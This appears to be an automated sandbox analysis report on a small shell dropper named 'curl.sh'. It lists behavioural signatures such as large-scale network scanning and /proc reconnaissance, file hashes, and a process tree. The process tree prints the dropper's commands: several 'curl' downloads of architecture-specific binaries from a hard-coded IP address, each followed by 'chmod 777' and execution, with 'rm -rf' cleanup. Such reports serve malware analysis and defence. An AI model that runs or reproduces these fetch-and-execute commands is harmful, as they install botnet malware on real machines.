Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/07/2026, 06:35

General

  • Target
    curl.sh
  • Size 525B
  • Sample260727-hcsteaxcmg
  • SHA256 0f637fdc7ddf4c390dc2df486595e5d9f5b3b4faf5b4ebd1e30ee41f220a443a
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Contacts a large (58954) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads system routing table 1 TTPs 3 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Changes its process name 3 IoCs
  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 5 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/curl.sh
    /tmp/curl.sh
    1⤵
    • Executes dropped EXE
    PID:651
    • /bin/rm
      rm -rf PLXMKJ
      2⤵
        PID:653
      • /bin/rm
        rm -rf WQZRTY
        2⤵
          PID:655
        • /bin/rm
          rm -rf YUIOXC
          2⤵
            PID:658
          • /bin/rm
            rm -rf GHJKLB
            2⤵
              PID:660
            • /bin/rm
              rm -rf MNCXOP
              2⤵
                PID:662
              • /bin/rm
                rm -rf KFGDFG
                2⤵
                  PID:666
                • /bin/rm
                  rm -rf VFASXC
                  2⤵
                    PID:669
                  • /usr/bin/curl
                    curl http://95.133.245.15/arm -o VFASXC
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:674
                  • /bin/chmod
                    chmod 777 VFASXC
                    2⤵
                    • File and Directory Permissions Modification
                    PID:687
                  • /tmp/VFASXC
                    ./VFASXC telnet.curl
                    2⤵
                    • Reads system routing table
                    • Changes its process name
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:688
                  • /usr/bin/curl
                    curl http://95.133.245.15/arm5 -o WQZRTY
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:690
                  • /bin/chmod
                    chmod 777 WQZRTY
                    2⤵
                    • File and Directory Permissions Modification
                    PID:700
                  • /tmp/WQZRTY
                    ./WQZRTY telnet.curl
                    2⤵
                    • Enumerates active TCP sockets
                    • Reads system routing table
                    • Changes its process name
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:701
                  • /usr/bin/curl
                    curl http://95.133.245.15/arm7 -o YUIOXC
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:748
                  • /bin/chmod
                    chmod 777 YUIOXC
                    2⤵
                    • File and Directory Permissions Modification
                    PID:751
                  • /tmp/YUIOXC
                    ./YUIOXC telnet.curl
                    2⤵
                    • Enumerates active TCP sockets
                    • Reads system routing table
                    • Changes its process name
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:752
                  • /usr/bin/curl
                    curl http://95.133.245.15/mips -o GHJKLB
                    2⤵
                    • Checks CPU configuration
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:771
                  • /bin/chmod
                    chmod 777 GHJKLB
                    2⤵
                    • File and Directory Permissions Modification
                    PID:779
                  • /tmp/GHJKLB
                    ./GHJKLB telnet.curl
                    2⤵
                      PID:780
                    • /usr/bin/curl
                      curl http://95.133.245.15/mipsel -o MNCXOP
                      2⤵
                      • System Network Configuration Discovery
                      PID:782
                    • /bin/chmod
                      chmod 777 MNCXOP
                      2⤵
                      • File and Directory Permissions Modification
                      PID:783
                    • /tmp/MNCXOP
                      ./MNCXOP telnet.curl
                      2⤵
                        PID:784

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          GHJKLB

                          • Path /tmp/GHJKLB
                          • Size 193KB
                          • SHA256 06c4ddabac5e976f152f482a47581313fdb95e2cbee564d56279648bbaf5694a
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          VFASXC

                          • Path /tmp/VFASXC
                          • Size 142KB
                          • SHA256 672f654f31e91cdb9766131ad3034d1284842fc8b56dc8b4e9a32e925b7f8e95
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          WQZRTY

                          • Path /tmp/WQZRTY
                          • Size 139KB
                          • SHA256 9d8e694d18e3c976b45ada0041ae3f756ef7c795089c05537396dbe89d929262
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          YUIOXC

                          • Path /tmp/YUIOXC
                          • Size 101KB
                          • SHA256 01d5fba3c3906d1fb26a6697644610f0f9f02140720de49edf907091669dbb8b
                          • MD5 SHA1 SHA512 SSDEEP TLSH